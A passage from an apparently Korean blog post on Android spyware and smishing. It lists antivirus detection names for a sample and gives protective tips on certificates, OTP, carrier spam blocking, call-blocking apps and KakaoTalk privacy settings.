Microsoft:PUA:Win32/Pearfoos.B!ml
QuickHeal:Android.SMForw.GEN37097
Sophos:Andr/Spy-BFE
Symantec Mobile Insight:Spyware:MobileSpy
Trustlook:Android.PUA.DebugKey
일단 대부분의 보안 업체에서 탐지하고 있으면 일단 탐지가 안 되는 나머지 보안 업체들에는 샘플을 제공을 했습니다. 이유는 한국에서 스마트폰에서 항상 VPN을 사용해서 연결하고 계시는 분들은 해당 사이트에 접속될 수가 있기 때문에 피해를 취소하려는 조치입니다.

카카오톡 친구 추천 허용 차단
카카오톡 친구 추천 허용 차단

기본적으로 스마트폰이든 컴퓨터이든 공동 인증서(구 공인 인증서)는 보관을 하지 말고 그리고 보안 카드보다는 돈은 조금 들겠지만, OPT를 사용하시면 도움이 될 것입니다. 그리고 기본적으로 통신사에서는 스팸 차단 기능을 무료로 제공하고 있습니다.

해당 기능을 활성화하고 싶으면 통신사 고객센터 앱을 이용을 해도 되고 아니면 114로 전화를 해서 신청 그리고 후후, 후스콜,뭐야 이번호 같은 검증된 스미싱,보이스피싱 전화 차단 어플을 사용을 해서 미리 예방을 할 수가 있으며 카카오톡을 사용을 하고 계신다고 하면 다른 사람에게 검색되는 것을 막으려고 카카오톡에 접속을 해서 오른쪽 위에 톱니바퀴->친구->친구 추천 허용 부분을 비활성화하는 것도 어느 정도 도움이 될 것입니다. 

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band